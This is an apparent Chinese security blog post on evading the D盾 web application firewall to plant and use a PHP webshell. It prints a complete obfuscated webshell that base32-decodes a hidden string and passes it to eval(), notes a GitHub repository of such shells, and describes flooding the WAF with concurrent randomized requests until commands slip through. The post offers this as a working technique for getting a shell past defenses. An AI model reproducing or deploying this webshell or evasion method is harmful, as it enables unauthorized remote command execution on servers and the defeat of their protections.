如何绕过D盾防火墙getshell
0x00:简介
此篇文章仅讨论php
现在的D盾防火墙在我看来已经几乎无解了😓 (可能是因为我太菜) 虽然在讨论如何绕过D盾getshell 其实怎么把shell传上去都是个问题...
虽然有点八股文 但是确实有绕过的方法,可能以后能用到吧。
0x01:条件
既然是getshell肯定得能把shell传到服务器上,因此可以将shell传到对方服务器是先决条件,所以其实讨论的依然是流量的免杀。
0x02:免杀D盾
首先D盾是自带文件查杀功能的,所以肯定得先过D盾的静态文件免杀,检测是否过了免杀直接访问脚本文件就行,像下面这种就是被杀的。
我的上几篇文章都有涉及到如何绕过D盾,不过也就是前几天吧,我突然发现GitHub的马被标记了5级木马
***这怎么能行 干他
经过我一番测试 发现被加入规则的居然是if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e") 😂
反正这条要不要都无所谓啊 去掉不就行了 还有就是注释依然可以绕过D盾 也就是最初的版本。
改动已同步到 https://github.com/pureqh/webshell
放到web服务器上访问一下
没有问题,手动测试一下能否执行命令
phpinfo测试通过 试一下其他命令
返回空白 然后到服务器看一下 发现报了警告
看一下详细的告警
其实看到这个规则我大概已经知道D盾做了什么了 但是还是抱着试一试的心态 将流量混淆一下
Base32流量传输:
shell:
class XTGN{
public $YAWJ = null;
public $LJDR = null;
function __construct(){
$this->YAWJ = 'mv3gc3bimjqxgzjwgrpwizldn5sgkkbel5ie6u2uln5gk4tpluussoy';
$this->LJDR = @OJAD($this->YAWJ);
@eval("/*|NRPWpl*/".$this->LJDR."/*|NRPWpl*/");
}}
new XTGN();
function YJUO($GXTY){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$SGKL = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($GXTY); $i < $j; $i++){
$v <<= 8;
$v += ord($GXTY[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$SGKL .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$SGKL .= $BASE32_ALPHABET[$v];}
return $SGKL;}
function OJAD($GXTY){
$SGKL = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($GXTY); $i < $j; $i++){
$v <<= 5;
if ($GXTY[$i] >= 'a' && $GXTY[$i] <= 'z'){
$v += (ord($GXTY[$i]) - 97);
} elseif ($GXTY[$i] >= '2' && $GXTY[$i] <= '7') {
$v += (24 + $GXTY[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$SGKL .= chr($v >> $vbits);
$v &= ((1 << $vbits) - 1);}}
return $SGKL;}
?>
这个马使用了自带的Base32函数加解密流量 抓包看一下
依然不行 ... 使用冰蝎的加密流量同样无效
其实这里已经能证明了 D盾应该是直接hook了cmd.exe之类的 所以流量混淆的再厉害也没用
0x03:峰回路转
既然软的不行了 那我只好走点偏门路子 好巧不巧今天测试的时候 放空大脑一直刷新网页 让我吃惊的是 居然有一次刷出来了回显???
burp 启动
UA头使用随机数进行并发访问
哦 还真行
为什么能突破D盾呢 这就要说说D盾这个软waf的天生缺陷了 就是处理能力存在较大限制 大量并发流量他其实处理不过来 总会漏那么几个 所以就可以钻空子
但是这东西其实没法应用到工具上 因为毕竟不知道哪次才会有回显 ,而且产生的日志数量极大 能用是能用 大家玩的时候掂量掂量就行了 哈哈